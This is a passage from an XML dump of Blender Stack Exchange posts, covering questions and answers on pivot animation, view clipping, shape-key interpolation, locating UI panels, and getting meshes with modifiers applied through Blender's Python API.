struggling a lot would really appreciate the help please! Also I hope this makes sense...&lt;/p&gt;&#xA;" OwnerUserId="2523" LastEditorUserId="12" LastEditDate="2015-11-26T19:58:23.950" LastActivityDate="2015-11-26T23:45:03.200" Title="How to animate a cube pivoting more than once without affecting it's original position" Tags="&lt;animation&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7184" PostTypeId="2" ParentId="7183" CreationDate="2014-02-19T17:49:49.300" Score="4" Body="&lt;p&gt;You might use a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Constraints/Relationship/Pivot&quot; rel=&quot;nofollow noreferrer&quot;&gt;pivot constraint&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PKLQR.png&quot; alt=&quot;Pivot Constraint&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Constraints/Relationship/Child_Of&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Child Of&lt;/em&gt;&lt;/a&gt; constraint might be interesting as well.&lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2014-02-19T17:55:51.127" LastActivityDate="2014-02-19T17:55:51.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7185" PostTypeId="1" AcceptedAnswerId="7187" CreationDate="2014-02-19T18:07:25.997" Score="4" ViewCount="3634" Body="&lt;p&gt;When you fly through your Blender 3D world, you can fly through things. However, sometimes I fly through objects, and before I even get close to them, the objects start cutting off(visually). See image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OU1VZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I stop Blender from doing this? Or at least make it do so, when I get closer to the object?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some camera angles that I can't get because Blender cuts away the object in my view/cam&lt;/p&gt;&#xA;" OwnerUserId="2496" LastActivityDate="2014-02-20T01:13:11.537" Title="Why can I see through my objects?" Tags="&lt;3d-view&gt;&lt;camera&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7186" PostTypeId="2" ParentId="7183" CreationDate="2014-02-19T18:18:34.060" Score="8" Body="&lt;p&gt;One way is to do this with help of empties. to parent them one after one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, in the GIF below, D (the cube) is parented to empty C; C is parented to B; B is parented to A, which is the top-level parent here (&quot;great-grandfather&quot; :P). Then, insert keyframe for C, B and A in turn.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By using this method, the hierachy should be well planned before parenting, based on the expected rotation orders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8loYB.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also want to replace the empties with armature of bones. You can see the hierachy better in this way since bones have head and tails, though a bit more complicated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P.S.:&lt;/strong&gt; For a pivot-switchable animation like this(especially with rotations), which can be really tricky, you have to find a way to control the pivots (better to be &quot;pivot objects&quot;) to have them in position in time.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2015-11-26T12:47:40.947" LastActivityDate="2015-11-26T12:47:40.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7187" PostTypeId="2" ParentId="7185" CreationDate="2014-02-19T18:48:19.213" Score="9" Body="&lt;p&gt;It is caused by the &lt;strong&gt;View Clip&lt;/strong&gt; setting in N panel (If you look through the camera, it is controlled by the camera clipping that locates in its own &lt;strong&gt;Object Data&lt;/strong&gt; panel).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pJyw9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To avoid it, either set start clip to a relatively small value (0.1 by default), or switch to &lt;strong&gt;Ortho&lt;/strong&gt; view (3D view only).&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-02-20T01:13:11.537" LastActivityDate="2014-02-20T01:13:11.537" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7188" PostTypeId="2" ParentId="7185" CreationDate="2014-02-19T19:15:51.643" Score="7" Body="&lt;p&gt;What happens in your extreme situation you have very small objects and moved the camera quit close to them:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7DynB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think if you would look the scene from outside it is more clear what happens:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/R6TD8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The View Clipping Start (as explained by Leon Cheung's answer) value is the distance from the center of the camera to the near clipping plane (yellow).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WXp6M.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Viewing_frustum&quot; rel=&quot;noreferrer&quot;&gt;Image source: Wikipedia Viewing_frustum&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-02-19T19:15:51.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7189" PostTypeId="1" AcceptedAnswerId="7191" CreationDate="2014-02-19T19:32:37.290" Score="5" ViewCount="3823" Body="&lt;p&gt;This is the first time I've used shape keys, but from what I understand they should be pretty straightforward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the Basis key and I've added an Arms_up shape key, see mesh examples below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PRGma.png&quot; alt=&quot;Basis&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basis shape key&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZH2vf.png&quot; alt=&quot;Arms_up&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Arms_up shape key&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I have, is that half way through the interpolation of the Basis and the Arms_up keys, the arms are shrunk. What could cause this? Are there considerations should I take into account when using shape keys?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2H7zF.png&quot; alt=&quot;interpolation&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are my shape key settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RtHnC.png&quot; alt=&quot;shape keys&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where am I going wrong? I should also note that I have two unapplied modifiers in the stack, a mirror modifier on the X axis and a subsurface modifier.&lt;/p&gt;&#xA;" OwnerUserId="1626" LastEditorUserId="1653" LastEditDate="2014-02-25T15:42:11.473" LastActivityDate="2016-09-13T13:06:25.950" Title="Why does mesh shrink when using shape keys?" Tags="&lt;shape-keys&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7190" PostTypeId="1" AcceptedAnswerId="7193" CreationDate="2014-02-19T19:51:05.133" Score="4" ViewCount="599" Body="&lt;p&gt;Is there an easy way to find the type of an panel displayed in the UI?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Right click&lt;/em&gt; -&gt; &lt;em&gt;Edit Source&lt;/em&gt; does not work for panels in the tools/properties regions.&#xA;It is definately possible to access some of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wqjYE.png&quot; alt=&quot;example panel&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to create a &lt;a href=&quot;http://www.pasteall.org/49676&quot; rel=&quot;nofollow noreferrer&quot;&gt;list&lt;/a&gt; and retrieve some info from &lt;code&gt;bpy.types.*&lt;/code&gt; but it is still difficult sometimes to find the correct panel.&lt;/p&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2014-02-19T21:46:06.493" Title="Find the type of a panel displayed in the UI" Tags="&lt;python&gt;&lt;scripting&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7191" PostTypeId="2" ParentId="7189" CreationDate="2014-02-19T21:10:49.913" Score="10" Body="&lt;p&gt;Shape keys work by smoothly, but blindly, moving each vertex from one location to another. It's likely that as each vertex is blindly trying to get to its destination, the intermediate result is this shrunk version of your mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shape keys are &quot;dumb.&quot; They do absolutely nothing to maintain volume, do any kind of skinning, or anything &quot;smart&quot; like that. It's a SUPER simple transform. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wish I could upload images from where I am, but imagine a plane with 4 vertices. You have a &lt;code&gt;Basis&lt;/code&gt; key that looks like the plane, and then you have a &lt;code&gt;Flipped&lt;/code&gt; key that moves the vertices in an X pattern. The top-left vertex goes to the bottom-right, the top-right to the bottom-left, etc. So that the end result is also a plane, but it's upside-down and backward. Each vertex is going to go straight to its designated destination without any concern for any other vertices, so you can imagine that exactly half-way through the process, they're all going to be basically a really tiny point in the middle of what used to be a plane. Something similar is what's happening to your arms, there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what rigs are for ;-) Rigs can preserve the relative position of the vertices so that they don't do weird things like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: For some reason, my image isn't supported on this site, but you can find it &lt;a href=&quot;http://makeagif.com/i/VtvOn6&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this animation, I add two blendshapes, &lt;code&gt;basis&lt;/code&gt; (which you always have) and &lt;code&gt;key1&lt;/code&gt;, to the default cube. Then, I select all the verts in edit mode and rotate them around the x-axis (this will be hard to follow, if you can't see the gif). This is now my &lt;code&gt;key1&lt;/code&gt; blendshape. The point of all this is that it doesn't matter that I rotated the verts. If I were using keyframes, the rotation would matter, but not with blendshapes. When I adjust the strength of &lt;code&gt;key1&lt;/code&gt;, each vertex will move along the shortest path between its two positions, regardless of where any of the other verts are. This means that all the verts pass very closely to each other about half-way through the transition, which makes a really skinny prism.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is basically what's happening to the arm. Each vertex is blindly moving to its designated destination, and the intermediate result can sometimes be undesirable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution might be adding intermediate shapes, but this is not the way blendshapes are usually used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="1653" LastEditorUserId="1653" LastEditDate="2014-02-25T04:28:43.053" LastActivityDate="2014-02-25T04:28:43.053" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7192" PostTypeId="2" ParentId="3164" CreationDate="2014-02-19T21:19:43.760" Score="2" Body="&lt;p&gt;For themable things in editors use:&lt;br&gt;&#xA;&lt;code&gt;bpy.context.user_preferences.themes[0].&amp;lt;editor&amp;gt;.&amp;lt;thing&amp;gt; = &amp;lt;color&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The python console has completion to help with the names of things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 3D view is also an editor, the following example sets lamps to white:&#xA;&lt;code&gt;bpy.context.user_preferences.themes[0].view_3d.lamp = (1,1,1)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="844" LastActivityDate="2014-02-19T21:19:43.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7193" PostTypeId="2" ParentId="7190" CreationDate="2014-02-19T21:46:06.493" Score="4" Body="&lt;p&gt;If &lt;em&gt;Edit Source&lt;/em&gt; fails, then it's created by a script on-the-fly (through PyConsole or Text Editor), or it's hardcoded in C - which is more likely the case. You won't find the panel subclasses in &lt;code&gt;bpy.types&lt;/code&gt; in the latter case, they aren't exposed to python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I usually try to find similar panels or even other types via Auto-complete in the PyConsole, to figure out the naming scheme. Take the Grease Pencil panel for instance:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no &lt;code&gt;bpy.types.GREASE*&lt;/code&gt;, so no header, menu, panel or operator. A different name is used apparantly. We can also check for any type that contains &quot;grease&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; [d for d in dir(bpy.types) if &quot;grease&quot; in d.lower()]&#xA;['BlendDataGreasePencils', 'CLIP_PT_tools_grease_pencil', 'GreasePencil', 'GreasePencilLayers']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Nothing useful in there, I would now try another part of the name or an abbreviation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; [d for d in dir(bpy.types) if &quot;pencil&quot; in d.lower()]&#xA;['BlendDataGreasePencils', 'CLIP_PT_tools_grease_pencil', 'DOPESHEET_MT_gpencil_channel', 'DOPESHEET_MT_gpencil_frame', 'GPENCIL_OT_active_frame_delete', 'GPENCIL_OT_convert', 'GPENCIL_OT_data_add', 'GPENCIL_OT_data_unlink', 'GPENCIL_OT_draw', 'GPENCIL_OT_layer_add', 'GPencilFrame', 'GPencilFrames', 'GPencilLayer', 'GPencilStroke', 'GPencilStrokePoint', 'GPencilStrokePoints', 'GPencilStrokes', 'GreasePencil', 'GreasePencilLayers']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This revealed something useful: The naming scheme. Grease Pencil operators start with &lt;code&gt;GPENCIL&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Time to &lt;a href=&quot;http://en.wikipedia.org/wiki/Grep&quot; rel=&quot;nofollow&quot;&gt;grep&lt;/a&gt; the Blender sources! &lt;code&gt;GPENCIL_PT_&lt;/code&gt; won't match anything, this kind of abstraction isn't really used in the C code. But we know there are buttons (=operators) drawn in the panel, so we can search for them and try to locate what adds them to the layout - &lt;code&gt;GPENCIL_OT_&lt;/code&gt; finds &lt;code&gt;blender\source\blender\editors\gpencil\gpencil_buttons.c&lt;/code&gt; among other files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;GPENCIL_OT_data_add&lt;/code&gt; is the first match, on line 306 it reads:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    uiTemplateID(col, C, ctx_ptr, &quot;grease_pencil&quot;, &quot;GPENCIL_OT_data_add&quot;, NULL, &quot;GPENCIL_OT_data_unlink&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is part of the function &lt;code&gt;draw_gpencil_panel()&lt;/code&gt;, this is defintely the right place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UI widgets are directly added to the layout:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;uiItemO(col, IFACE_(&quot;New Layer&quot;), ICON_NONE, &quot;GPENCIL_OT_layer_add&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is obviously the C-equivalent of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;col.operator(&quot;gpencil.layer_add&quot;, text=&quot;New Layer&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some of the functions could probably be ported to python, but others can't. Take the 3D View layers widget for example: it draws nice little orange dots on the layers, which have at least one object on them. We couldn't do this nicely in python.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-02-19T21:46:06.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7194" PostTypeId="1" CreationDate="2014-02-19T22:31:33.847" Score="8" ViewCount="4625" Body="&lt;p&gt;Let's say that I want to make, say, a tarp stretched over some objects&lt;img src=&quot;https://i.stack.imgur.com/0XPdV.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;br&gt;(like some tools covered down on a military jeep)&lt;br&gt; or a snake stretched around it's prey (I'm a horrible person, I know :P)&lt;br&gt; &lt;img src=&quot;https://i.stack.imgur.com/WGnA3.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;br&gt;or even camouflage netting: &lt;img src=&quot;https://i.stack.imgur.com/WzrRR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've had a go at this using soft bodies physics:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://tinypic.com/r/ot0u51/8&quot;&gt;Like This Animation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you've watched the animation, well... the results are not so great.  Does anyone know of any methods to do this?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any and all methods are welcome, whether animate-able or not!&lt;/p&gt;&#xA;" OwnerUserId="2226" LastEditorUserId="55" LastEditDate="2014-02-20T01:07:44.107" LastActivityDate="2020-02-18T13:26:54.777" Title="How to stretch a mesh object over another?" Tags="&lt;animation&gt;&lt;mesh&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7195" PostTypeId="2" ParentId="7194" CreationDate="2014-02-19T23:11:29.353" Score="15" Body="&lt;p&gt;You could also try &lt;em&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/physics/cloth/index.html&quot; rel=&quot;noreferrer&quot;&gt;Cloth simulation&lt;/a&gt;&lt;/em&gt; or the &lt;em&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/modifiers/deform/shrinkwrap.html&quot; rel=&quot;noreferrer&quot;&gt;Shrink wrap modifier&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/physics/soft_body/index.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Soft body simulation&lt;/em&gt;&lt;/a&gt; could be useful if you need the cloth to stretch (see &lt;a href=&quot;https://blender.stackexchange.com/q/1425/599&quot;&gt;What is the technical difference between softbody and cloth simulation?&lt;/a&gt;), but other than that you are probably better off with cloth. Note that if you do use soft body, remember to set the &lt;em&gt;Cache step&lt;/em&gt; in &lt;em&gt;Physics &amp;gt; Soft Body Cache&lt;/em&gt; to &lt;code&gt;1&lt;/code&gt; to cache soft body deformations on every frame.&lt;/p&gt;&#xA;&lt;h1&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/physics/cloth/index.html&quot; rel=&quot;noreferrer&quot;&gt;Cloth simulation&lt;/a&gt;:&lt;/h1&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Cloth simulation is one of the hardest aspects of CG, because it is a deceptively simple real-world item that is taken for granted, yet actually has very complex internal and environmental interactions. After years of development, Blender has a very robust cloth simulator that is used to make clothing, flags, banners, and so on. Cloth interacts with and is affected by other moving objects, the wind and other forces, as well as a general aerodynamic model, all of which is under your control.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9scX8.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note that a &lt;a href=&quot;https://developer.blender.org/T31269&quot; rel=&quot;noreferrer&quot;&gt;new feature for &amp;quot;sewing&amp;quot; cloth&lt;/a&gt; has been &lt;a href=&quot;https://developer.blender.org/rB28936a415076dbded4ec55cf94c49e8d0abe4035&quot; rel=&quot;noreferrer&quot;&gt;added on February 6th 2014&lt;/a&gt;. This could be very useful for pulling cloth together (like in your first image). If you want to try it out, &lt;a href=&quot;https://blender.stackexchange.com/q/3438/599&quot;&gt;get a recent development version&lt;/a&gt; and have fun :)&lt;/p&gt;&#xA;&lt;h1&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/modifiers/deform/shrinkwrap.html&quot; rel=&quot;noreferrer&quot;&gt;Shrinkwrap modifier&lt;/a&gt;:&lt;/h1&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The Shrinkwrap modifier allows an object to “shrink” to the surface of another object. It moves each vertex of the object being modified to the closest position on the surface of the given mesh (using one of the three methods available). It can be applied to meshes, lattices, curves, surfaces and texts.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0KAPB.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Nso9y.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;As mentioned by &lt;a href=&quot;https://blender.stackexchange.com/questions/7194/how-to-stretch-a-mesh-object-over-another/7195?noredirect=1#comment11390_7195&quot;&gt;ideasman42&lt;/a&gt;, you can also try using the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/meshes/editing/vertices.html#convex-hull&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Convex Hull&lt;/em&gt; tool&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Run it by pressing &lt;kbd&gt;Space&lt;/kbd&gt;&lt;em&gt;&amp;gt; Search &amp;gt; Convex Hull&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KlSIE.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JTzBL.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2020-02-18T13:26:54.777" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="7196" PostTypeId="1" AcceptedAnswerId="7197" CreationDate="2014-02-20T06:18:49.307" Score="13" ViewCount="5264" Body="&lt;p&gt;I've been scouring the Blender Python API docs for a way to get access to the mesh data that is displayed in the view-port. (with modifiers applied - WYSIWYG)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;For reference, this was possible with the 2.4x API's &lt;code&gt;Mesh.getFromObject&lt;/code&gt; method.&lt;/p&gt;&#xA;" OwnerUserId="1801" LastEditorUserId="55" LastEditDate="2015-06-09T10:40:46.073" LastActivityDate="2020-02-09T16:41:17.323" Title="How to get a new mesh with modifiers applied using Blender Python API?" Tags="&lt;python&gt;&lt;mesh&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7197" PostTypeId="2" ParentId="7196" CreationDate="2014-02-20T06:25:23.130" Score="18" Body="&lt;p&gt;The option to apply modifiers is common for exporters included with Blender, so you can check how they do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typically you can use the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_75_release/bpy.types.Object.html#bpy.types.Object.to_mesh&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;Object.to_mesh&lt;/code&gt;&lt;/a&gt; function, which returns a new mesh. You can manipulate it without distructively editing the user's data.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# --- setup variables ---&#xA;context = bpy.context&#xA;scene = context.scene&#xA;&#xA;# assume we have an object with geometry, nurbs, metaball, curves... _not_ a lamp&#xA;obj = context.object&#xA;&#xA;# --- get a mesh from the object ---&#xA;apply_modifiers = True&#xA;settings = 'PREVIEW'&#xA;mesh = obj.to_mesh(scene, apply_modifiers, settings)&#xA;&#xA;# ... do something with the mesh ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's important to remove the mesh, unless you have explicitly assigned it to an object. Otherwise it will be stored in Blender until the file is saved and loaded again.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# optionally remove it&#xA;bpy.data.meshes.remove(mesh)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-08-15T01:16:45.240" LastActivityDate="2015-08-15T01:16:45.240" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7198" PostTypeId="1" AcceptedAnswerId="7203" CreationDate="2014-02-20T07:31:11.453" Score="12" ViewCount="5387" Body="&lt;p&gt;I have a blend file with a moving object and want to save the object's bounding box positions (&lt;code&gt;x&lt;/code&gt;, &lt;code&gt;y&lt;/code&gt;, &lt;code&gt;width&lt;/code&gt; and &lt;code&gt;height&lt;/code&gt;) in the rendered image to a text file (for every frame):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4tR4n.png&quot; alt=&quot;Determine moving object&amp;#39;s bounding box in rendered image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bounding box values need to be in the pixelspace of the rendered 2D image, where &lt;code&gt;x&lt;/code&gt; and &lt;code&gt;y&lt;/code&gt; are the location of the image's pixel representing the top left corner, while &lt;code&gt;width&lt;/code&gt;and &lt;code&gt;height&lt;/code&gt; represent the number of pixels from the top left corner to the right bottom corner.&lt;/p&gt;&#xA;" OwnerUserId="2517" LastEditorUserId="2517" LastEditDate="2015-03-16T10:07:13.947" LastActivityDate="2019-11-16T21:48:28.247" Title="Save the 2D bounding box of an object in rendered image to a text file" Tags="&lt;animation&gt;&lt;export&gt;&lt;objects&gt;&lt;image&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7199" PostTypeId="1" AcceptedAnswerId="7202" CreationDate="2014-02-20T07:46:04.000" Score="9" ViewCount="1663" Body="&lt;p&gt;I've been trying to render a heightmap using cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To that effect, i've set up:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) A sculpted plane squeezed between &lt;code&gt;-0.25&lt;/code&gt; and &lt;code&gt;1.0&lt;/code&gt; altitude (z-axis) in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) An orthographic camera scaled to perfectly match the plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) A cycles emission material set up in such a way that its final emission value is geometry.blue (z-axis position) -&gt; math.add &lt;code&gt;0.25&lt;/code&gt; -&gt; math.multiply &lt;code&gt;0.8&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TCPWz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TCPWz.png&quot; alt=&quot;my setup in blender&quot;&gt;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I render this to a 16-bit grayscale png image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/74bZt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/74bZt.png&quot; alt=&quot;the resulting heightmap&quot;&gt;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The issue is&lt;/strong&gt;: The resulting heightmap's pixel values are slightly (or not so slightly) wrong - i.e, different from what the math should say.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, while math says that vertices at position &lt;code&gt;~0&lt;/code&gt; in Blender should produce heightmap values around &lt;code&gt;(0.0+0.25)*0.8&lt;/code&gt; = &lt;code&gt;0.2&lt;/code&gt; , in the resulting image, those areas are &lt;code&gt;~0.5&lt;/code&gt;; while math says that &lt;code&gt;0.94&lt;/code&gt; should translate to &lt;code&gt;0.95&lt;/code&gt;, in Gimp when sampling those pixels i see their HSV Value as &lt;code&gt;0.89&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upon some asking around in #blender, i've eliminated the following possible sources of trouble:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;World (and its material)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Sky pass in render layers&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Material color is set to &lt;code&gt;1,1,1&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I've eliminated sections of the plane that violated the bottom boundary.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;None of these fixed the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone feels like poking around instead of guessing around, i've also put the blend file to &lt;a href=&quot;http://www.pasteall.org/blend/26951&quot; rel=&quot;nofollow 